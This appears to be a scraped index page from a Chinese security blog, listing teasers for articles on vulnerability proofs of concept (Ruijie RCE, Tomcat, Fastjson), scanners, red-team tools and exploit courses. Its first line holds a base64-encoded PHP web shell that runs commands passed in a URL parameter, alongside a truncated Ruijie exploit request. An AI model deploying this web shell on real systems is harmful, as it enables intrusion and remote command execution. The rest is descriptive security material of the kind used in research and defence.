echo "PD9waHAKJGNtZD0kX0dFVFsnY21kJ107CnN5c3RlbSgkY21kKTsKPz4K" | base64 -d POC: POST /guest_auth/gu...
07月22日126 views评论poc
rce
Ruijie Networks RCE
07月22日126 views评论poc
rce
07月22日126 views评论poc
rce
可定制化poc漏洞扫描器
afrog 是一款性能卓越、快速稳定、PoC 可定制的漏洞扫描工具，PoC 包含 CVE、CNVD、默认口令、信息泄露、指纹识别、未授权访问、任意文件读取、命令执行等多种漏洞类型，帮助网络安全从业者快...
07月22日534 views评论http
漏洞
Apache Tomcat文件包含漏洞通告（附poc）
Tomcat是Apache 软件基金会（Apache Software Foundation）的Jakarta 项目中的一个核心项目，由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了...
07月21日80 views评论apache
漏洞
Fastjson 代码执行 CVE-2022-25845
漏洞简介Fastjson 代码执行漏洞，该漏洞允许攻击者绕过 Fastjson 中的"AutoTypeCheck"机制并实现远程代码执行影响版本：1.2.80及以下版本，即<= 1.2.80漏洞...
07月21日391 views评论cve
代码执行
新课上线！Windows内核漏洞分析与EXP编写技巧
内核，是一个操作系统的核心。是基于硬件的第一层软件扩充，提供操作系统的最基本的功能，是操作系统工作的基础，它负责管理系统的进程、内存、设备驱动程序、文件和网络系统，决定着系统的性能和稳定性。作为讲师，...
07月20日64 views评论cve
漏洞
Ladon9.1.8获取WordPress主程序、主题、插件版本
这是以前写的一个GUI工具，只能一个URL，一般来说针对指定目标或几个目标够用了。因为一个站可能有几个插件，去搜索插件对应漏洞POC已经够忙活了，当然主程序、主题、插件都没洞的话，直接跳过，就不忙了。...
07月20日164 views评论插件
漏洞
攻防演练 | 分享脚本小子混分的过程
0x01 前言感觉好久没发过公众号了，消失了很久一样。本篇文章没有什么营养，全篇都只是记录，或许这就是最底层技术人员的真实写照了。该文章首发 内部社区OverSpace0x02 入口点http://3...
07月19日132 views评论poc
weblogic
2022红队必备工具列表总结
一、信息收集1、AppInfoScanner一款适用于以HVV行动/红队/渗透测试团队为场景的移动端(Android、iOS、WEB、H5、静态网站)信息收集扫描工具，可以帮助渗透测试工程师、红队成员...
07月18日安全工具429 views评论poc
信息收集
api漏洞系列-Shopify客户端请求响应泄露
声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。漏洞描述 URL GET/POST dat...
07月18日23 views评论android
攻击者
实战|记一次hvv打点经历
本文来自“白帽子社区”作者：BaiKer记录hw中的一次打点经历，感觉拿的挺偏的，也算是靠运气 不过也算是一种思路吧，给大家分享一下01指纹探测通过指纹探测工具对目标进行批量扫描 ...
07月17日167 views评论hvv
poc
新课首发！Windows内核漏洞分析与EXP编写技巧（文末抽奖）
内核，是一个操作系统的核心。是基于硬件的第一层软件扩充，提供操作系统的最基本的功能，是操作系统工作的基础，它负责管理系统的进程、内存、设备驱动程序、文件和网络系统，决定着系统的性能和稳定性。作为讲师，...
07月17日19 views评论cve
漏洞
白哥给大家写POC~
0x00 前言主流的被动扫描器类似于Xray、Goby的POC都支持YAML格式，YAML是JSON的超集，也就是说，你也可以用JSON编写POC，但这里还是建议大家使用YAML来编写，原因如下：•&...
07月17日185 views评论poc
response
48